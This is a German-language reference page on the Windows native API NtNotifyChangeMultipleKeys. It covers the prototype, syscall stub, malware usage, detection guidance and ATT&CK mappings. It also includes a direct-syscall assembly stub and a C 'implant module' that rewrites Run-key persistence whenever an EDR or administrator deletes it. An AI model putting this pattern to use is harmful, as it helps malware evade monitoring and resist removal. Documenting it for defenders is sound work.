NtNotifyChangeMultipleKeys

Prototyp

NTSTATUS NtNotifyChangeMultipleKeys(
  HANDLE             MasterKeyHandle,
  ULONG              Count,
  OBJECT_ATTRIBUTES *SubordinateObjects,
  HANDLE             Event,
  PIO_APC_ROUTINE    ApcRoutine,
  PVOID              ApcContext,
  PIO_STATUS_BLOCK   IoStatusBlock,
  ULONG              CompletionFilter,
  BOOLEAN            WatchTree,
  PVOID              Buffer,
  ULONG              BufferSize,
  BOOLEAN            Asynchronous
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 24 01 00 00      mov eax, 0x124
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Mehrschlüssel-Pendant zu `NtNotifyChangeKey`. Es gibt keinen Win32-Wrapper — die API `RegNotifyChangeKeyValue` überwacht nur einen einzigen Schlüssel. Die Funktion wird intern vom Windows Configuration Manager (CM) genutzt, um Benachrichtigungen über verbundene Hive-Segmente zu koordinieren, sowie von einigen wenigen MMC-Snap-Ins. Der Kernel läuft die `SubordinateObjects`-Liste durch, öffnet jeden Schlüssel und registriert einen einzigen CM_NOTIFY_BLOCK, der signalisiert, wenn sich *einer* von ihnen ändert — der IO_STATUS_BLOCK sagt nicht, welcher gefeuert hat; der Aufrufer muss jeden Schlüssel neu abfragen, um das Delta zu entdecken. Trotz schmaler Nutzerbasis ist es seit NT 4.0 in jedem Build mit stabiler Parameterliste aus ntdll exportiert.

Häufige Malware-Nutzung

**In Malware selten gesehen** — fast jedes Persistenz-Monitoring- oder Anti-Cleanup-Modul, das Registry-Watch-Verhalten will, verwendet das einfachere `NtNotifyChangeKey` (oder RegNotifyChangeKeyValue) gegen einen einzigen Run-Schlüssel. Die wenigen dokumentierten Missbräuche kombinieren Multiple Keys mit `WatchTree=TRUE`, um die gesamte Familie `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, `RunOnce`, `Image File Execution Options` und `Winlogon` unter einer einzigen APC zu überwachen, sodass das Implant jeden Persistenz-Eintrag sofort wieder einsetzt, wenn ein EDR oder Sysadmin einen löscht. Da es keinen Win32-Wrapper gibt, fällt der Aufruf in Call-Stacks etwas stärker auf als die Single-Key-Variante.

Erkennungs­möglichkeiten

Das Telemetrie-Signal ist hier deutlich stärker als bei `NtNotifyChangeKey`, gerade weil legitime User-Mode-Software es kaum aufruft — es ist überwiegend ein CM-interner Pfad. ETW Microsoft-Windows-Kernel-Registry zeigt das Erstellen von Registry-Notify-Requests; in Kombination mit dem Call-Stack pro Thread vom EDR ist ein Nicht-System-Prozess, der diesen Aufruf macht, schon allein verdächtig. Sysmon Event ID 12/13/14 (RegistryEvent) meldet die Änderungen selbst, nicht die Watch-Registrierung — Verteidiger, die Watch-dann-Restore-Muster auf derselben TID korrelieren, fangen typischerweise Persistenz-Restore-Schleifen ab. Nützlicher Verteidiger-Pivot: Prozesse identifizieren, die ein Handle auf einen Schlüssel der Run-Familie plus eine ausstehende asynchrone Notify halten; mit Image-Pfad und Signer abgleichen.

Direkte Syscall-Beispiele

; Direct syscall stub for NtNotifyChangeMultipleKeys (SSN 0x124 on Win11 24H2)
NtNotifyChangeMultipleKeys PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 124h         ; SSN — varies per build
    syscall
    ret
NtNotifyChangeMultipleKeys ENDP

// Implant module: re-install Run entry whenever any Run-family key is touched.
// Uses NtNotifyChangeMultipleKeys so a single APC covers Run + RunOnce + Winlogon.
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pNtNotifyChangeMultipleKeys)(
    HANDLE, ULONG, POBJECT_ATTRIBUTES, HANDLE,
    PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK,
    ULONG, BOOLEAN, PVOID, ULONG, BOOLEAN);

VOID PersistenceWatch(HANDLE hRunKey,
                     POBJECT_ATTRIBUTES extras, ULONG nExtras) {
    pNtNotifyChangeMultipleKeys p = (pNtNotifyChangeMultipleKeys)
        GetProcAddress(GetModuleHandleA("ntdll.dll"),
                       "NtNotifyChangeMultipleKeys");
    HANDLE hEvt = CreateEventW(NULL, FALSE, FALSE, NULL);
    IO_STATUS_BLOCK iosb;
    for (;;) {
        NTSTATUS s = p(hRunKey, nExtras, extras, hEvt, NULL, NULL, &iosb,
            REG_NOTIFY_CHANGE_LAST_SET | REG_NOTIFY_CHANGE_NAME,
            TRUE,      // WatchTree
            NULL, 0,
            TRUE);     // Asynchronous
        if (s != STATUS_PENDING && s < 0) break;
        WaitForSingleObject(hEvt, INFINITE);
        ReinstallAllPersistence(); // re-write our Run values
    }
}

// Defensive use case: watch HKLM\SAM and HKLM\SECURITY together so a
// monitoring agent flushes its credential-policy cache in one wake-up.
#include <windows.h>
#include <winternl.h>

VOID PolicyWatcher(HANDLE hSam, HANDLE hSec) {
    OBJECT_ATTRIBUTES extras[1] = { 0 }; // SAM is master, SECURITY is subordinate
    UNICODE_STRING secPath; RtlInitUnicodeString(&secPath,
        L"\\Registry\\Machine\\Security");
    InitializeObjectAttributes(&extras[0], &secPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    IO_STATUS_BLOCK iosb;
    NtNotifyChangeMultipleKeys(hSam, 1, extras, NULL,
        &OnPolicyChange, NULL, &iosb,
        REG_NOTIFY_CHANGE_LAST_SET, TRUE,
        NULL, 0, TRUE);
}

MITRE ATT&CK-Mappings

• T1547.001Registry Run Keys / Startup Foldermitre ↗
• T1112Modify Registrymitre ↗
• T1106Native APImitre ↗